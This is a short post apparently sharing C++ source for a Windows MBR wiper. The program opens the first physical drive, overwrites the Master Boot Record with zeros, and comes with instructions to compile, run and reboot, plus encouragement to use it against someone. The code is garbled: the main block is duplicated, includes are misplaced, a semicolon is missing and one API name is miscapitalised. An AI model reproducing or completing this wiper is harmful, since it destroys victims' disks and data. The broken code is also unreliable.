Run this is VS and compile, run as an exe and reboot computer.
This will change the zero values in MBR which are the most important ones in the disk partition. Use it to rek someone.
#define MBR_SIZE 512
int main()
{
DWORD write;
char mbrData[512]; // size of mbr is 512
// but we will change now :)
ZeroMemory(&mbrData, (sizeof mbrData));
HANDLE MasterBootRecord = createFile("\\\\.\\PhysicalDrive0",GENERIC_ALL,FILE_SHARE_READ,FILE_SHARE_WRITE,NULL,OPEN_EXISTING,NULL,NULL)
if (WriteFile(MasterBootRecord, mbrData, 512, &write, NULL) == TRUE) {
cout << "Master Boot Record has been overwritten!" << endl;
Sleep(5000);
ExitProcess(0);
}
else {
cout << "Fail";
Sleep(5000);
ExitProcess(0);
}
CloseHandle(MasterBootRecord);
return EXIT_SUCCESS;
#include <Windows.h>
#include
using namespace std;
#define MBR_SIZE 512
int main()
{
DWORD write;
char mbrData[512]; // size of mbr is 512
// but we will change now :)
ZeroMemory(&mbrData, (sizeof mbrData));
}